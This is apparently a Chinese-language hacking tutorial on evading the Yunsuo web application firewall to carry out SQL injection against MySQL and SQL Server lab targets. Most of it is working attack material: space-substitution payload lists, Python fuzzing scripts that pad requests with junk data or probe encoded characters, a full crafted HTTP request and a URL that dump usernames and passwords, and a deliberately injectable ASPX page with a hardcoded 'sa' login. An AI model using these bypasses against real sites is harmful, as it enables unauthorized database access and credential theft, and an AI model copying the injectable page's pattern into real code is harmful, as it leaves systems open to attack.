MySQL特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin
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位置①
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可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
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可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
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可以利用數學運算以及數據類型:news_id=1.0,news_id=1E0,news_id=\N
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位置②
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可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
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可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
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可以利用括號:union(select 1,2)
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位置③
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可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
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可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
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可以利用其它符號:+ 、- 、 ~ 、!、@
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位置④
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可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
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可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
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大括號{}:union select {``1},{x 2}
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可利用數學運算以及數據類型:
union select usename,2.0from admin
union select username,8e0from admin
union select username,\Nfrom admin -
位置⑤
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可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
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可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
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反引號`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23
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內聯注釋:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23
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大括號{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23
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小括號():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23
實驗環境
靶場:DVWA(low級別)
數據庫:MySQL 5.5
Web腳本:PHP 5.4.19
WAF:雲鎖-win_3.1.20.24
超大數據包繞過
繞過原理
資源限制:WAF長度資源限制
假如HTTP請求POST BODY太大,檢測所有內容,WAF集群消耗太多的CPU、內存資源。因此許多WAF只檢測前面的2M或4M的內容。對於攻擊者而言,只需要在POST BODY前面添加許多無用的數據,把攻擊的payload放在最后即可繞過WAF檢測。
實驗步驟
首先使用BurpSuite抓取數據包,並記下數據包的Header信息
編寫好我們的Python腳本進行FUZZ:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0","Cookie":"security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=low;"}
url="http://hackrock.com:812/vulnerabilities/sqli/?Submit=Submit"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(500,50000,100):
payload = {'id':"1'union-- "+generate_random_str(i)+"\r\nselect 1,2#"}
try:
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
#print result
if result.count('union'):
print "Length is : %s " % str(i)
break
except:
print "."
這個腳本的作用是生成臟數據進行POST傳參,最后返回FUZZ之后的響應內容與臟數據的長度
執行腳本:
pyhton2 fuzz.py
將返回的內容粘貼至BurpSuite
從響應內容可以看出,我們構造好的臟數據已經成功繞過了WAF
然而又有一個問題,當我們想要查詢數據時,仍然被WAF攔截
這是因為雲鎖對select+關鍵信息
做了規則匹配
這時我們可以使用多行注釋符/**/
加臟數據的方法去繞過WAF
構造數據包:
POST /vulnerabilities/sqli/?Submit=Submit HTTP/1.1
Host: hackrock.com:812
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9284
Origin: http://hackrock.com:812
Connection: close
Referer: http://hackrock.com:812/vulnerabilities/sqli/?Submit=Submit
Cookie: security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=low
Upgrade-Insecure-Requests: 1
id=1'union-- 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
select/*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*/null,concat_ws(char(32,58,32),user,password) from users%23#
可以看到SQL注入成功
注:如果想要查詢函數,如database(),需要在database與括號之間插入注釋符與臟數據,database/*臟數據*/()
畸形的boundary繞過
繞過原理
HTTP協議兼容性:HTTP Body的多樣性
規則缺陷/特性:WAF對boundary識別的局限性
PHP在解析multipart data的時候有自己的特性,對於boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為——aaaa,123456,php解析的時候只識別了——aaaa,后面的內容均沒有識別。然而WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現繞過。
實驗步驟
首先使用BurpSuite進行抓包,並發送到Repeater
點擊右鍵,選擇修改請求方法,將GET請求轉換為POST請求
再點擊右鍵,選擇修改body編碼,將內容提交協議更改為multipart/form-data
先使用聯合查詢測試是否會被WAF攔截
果然被攔截了,說明WAF的規則是覆蓋到multipart/form-data協議的
我們修改下boundary的值,再發送數據包
WAF並未攔截,成功利用該方法繞過
Bypass雲鎖SQLServer注入
SQLServer特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
-
位置①
-
可以利用其它控制字符替換空格:%01~%0F、%11~%1F
-
可以利用注釋符號:/**/、—+a%0d%0a
-
可利用數學運算符以及數據類型:news_id=1.0,news_id=1e0,news_id=1-1
-
位置②
-
可以利用其它控制字符替換空格:%01~%0F、%11~%1F
-
可以利用注釋符號:/**/、—+a%0d%0a
-
可以利用加號+替換空格:union+select
-
位置③
-
可以利用其它控制字符替換空格:%01~%0F、%11~%1F
-
可以利用注釋符號:/**/、—+a%0d%0a
-
可利用數學運算符:+、-、~、. (注:其中-、~、.號必須是select查詢的第一個字段的數據類型為數字型才能使用)
-
可以利用小括號()替換空格:select(1),2,db_name()
-
位置④
-
可以利用其它控制字符替換空格:%01~%0F、%11~%1F
-
可以利用注釋符號:/**/、—+a%0d%0a
-
可利用其他字符:%80~%FF(需要IIS服務器支持)
-
位置⑤
-
可以利用其它控制字符替換空格:%01~%0F、%11~%1F
-
可以利用注釋符號:/**/、—+a%0d%0a
-
可利用其他字符:%80~%FF(需要IIS服務器支持)
-
可以利用點號.替換空格:from.users
-
可以利用中括號[]替換空格:from[users]
實驗環境
數據庫:SQL Server 2008R2
Web服務器:IIS7.5 CN
WAF:雲鎖-win_3.1.20.24
靶場源碼如下:index.aspx
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<!DOCTYPE html>
<script runat="server">
private DataSet resSet=new DataSet();
protected void Page_Load(object sender, EventArgs e)
{
String strconn = "server=.;database=test;uid=sa;pwd=admin";
string id = Request.Params["id"];
string sql = string.Format("select * from newss where id={0}", id);
SqlConnection connection=new SqlConnection(strconn);
connection.Open();
SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
dataAdapter.Fill(resSet);
DgData.DataSource = resSet.Tables[0];
DgData.DataBind();
Response.Write("執行語句:<br>"+sql);
Response.Write("<br>結果為:");
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>SQLServer注入測試</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC"
BorderStyle="None" BorderWidth="1px" CellPadding="4"
HeaderStyle-CssClass="head" Width="203px">
<FooterStyle BackColor="#99CCCC" ForeColor="#003399" />
<SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" />
<PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left"
Mode="NumericPages" />
<ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid>
</div>
</form>
</body>
</html>
GET方法傳輸POST數據繞過
繞過原理
HTTP協議兼容性:HTTP Method的多樣性
規則缺陷/特性:IIS中的GET請求可以傳輸POST數據
大家的常識是GET參數通過URL傳遞,POST放在Request body中。
但是在某些中間件(如IIS)中的GET請求同樣可以傳輸POST數據。
實驗步驟
首先使用POST方法發送數據,並使用BurpSuite抓取數據包
將POST請求方法改為GET請求方法,發現仍然是可以發送數據的
在請求體中構造我們的payload,可以繞過雲鎖WAF實現SQL注入
注:使用IIS服務器部署的Web應用也可以用該方法去繞過雲鎖
多行注釋符替代空格繞過【未成功】
繞過原理
規則缺陷/特性:數據庫空格可使用其它字符替代
在進行SQL語句查詢的時候可以利用注釋符來替代語法中的空格,例如:
select * from [dbo].[User] where id=1
可替代為:
select/**/*/**/from/**/[dbo].[User]/**/where id=1
那么意味着在注釋符中可以添加大量的無效字符來打破WAF的規則匹配。
實驗步驟
首先使用BurpSuite抓取數據包,並記下數據包的Header信息
編寫好我們的Python腳本進行FUZZ:
#! /usr/bin/env python
# -*- coding:utf-8 -*-
import random
import requests
import time
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}
url="http://hackrock.com:8205/index.aspx"
def generate_random_str1(randomlength=4):
random_str = ''
base_str = '!@$%^&*()_+=-'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
def generate_random_str2(randomlength=10):
random_str = ''
base_str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(600):
random_str = generate_random_str1() + generate_random_str2()
payload = {'id':"1 union/*"+random_str+"*/select 1,'2','3'"}
try:
time.sleep(0.5)
response = requests.post(url=url, headers=headers, data=payload, timeout=0.5)
if response.status_code == 200:
print(payload)
except:
pass
這個腳本使用的是python3編寫,生成以特殊符號開頭的無效字符,使用POST方法進行FUZZ
執行腳本:
python3 fuzz_2.py
這里發現一個規律:注釋符/**/中的無效字符都是以!
開頭,形如MySQL中的內聯注釋符。這可能是雲鎖在數據清洗時未對這兩個數據庫做嚴格區分,造成繞過
選擇一個payload進行測試
但是在查詢關鍵函數的時候仍會被攔截
這時候不用慌,可以采用特殊符號插入函數名與括號之間,或直接插入空格即可
然而,在構造payload進行爆賬號密碼時,卻被攔截
查看后台告警信息
雲鎖會自動將注釋符轉換為空格,從而判斷是否存在違規操作。
在嘗試多次后,這種方法終究不能完美繞過雲鎖。但在測試的過程中卻意外發現了另外一種簡單的雲鎖繞過方式。
注釋符與回車符結合繞過
繞過原理
規則缺陷/特性:數據庫空格可使用其它字符替代
在嘗試使用多行注釋符替換空格的過程中,意外地發現了一個繞過方法:
可以利用注釋符與回車符結合來替代語法中的空格:
?id=-1--%0dunion select 1,'2','3'
這是MSSQL中的一個特性,—注釋符可以與直接%0d結合,使—注釋符無法生效
這可能是雲鎖在過濾中的疏忽導致的繞過
實驗步驟
如果想要知道除了%0d還有哪些字符可以繞過雲鎖,可以編寫一個簡單的python腳本進行FUZZ
#! /usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import time
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}
base_url = "http://hackrock.com:8205/index.aspx"
def generate_str():
url_str = []
base_str = '0123456789abcdef'
for i in base_str:
for j in base_str:
url_str.append('%'+i+j)
return url_str
url_str = generate_str()
for i in url_str:
url = base_url + "?id=-1--" + i + "union select 1,'2','3'"
try:
time.sleep(1)
response = requests.get(url, headers=headers, timeout=0.5)
len_text = len(response.text)
if response.status_code == 200:
print(url)
print(len_text)
except:
pass
可以根據返回的請求體長度判斷有哪些字符可以繞過WAF,當然也可以使用BurpSuite進行FUZZ
但測試下來只有%0d可以繞過,且能正常爆出數據
http://hackrock.com:8205/index.aspx?id=-1--%0dunion select 1,username,password from dbo.users
推薦閱讀:
10種方法繞過雲鎖以及Tamper
http://www.alexsel.com/index.php/archives/77/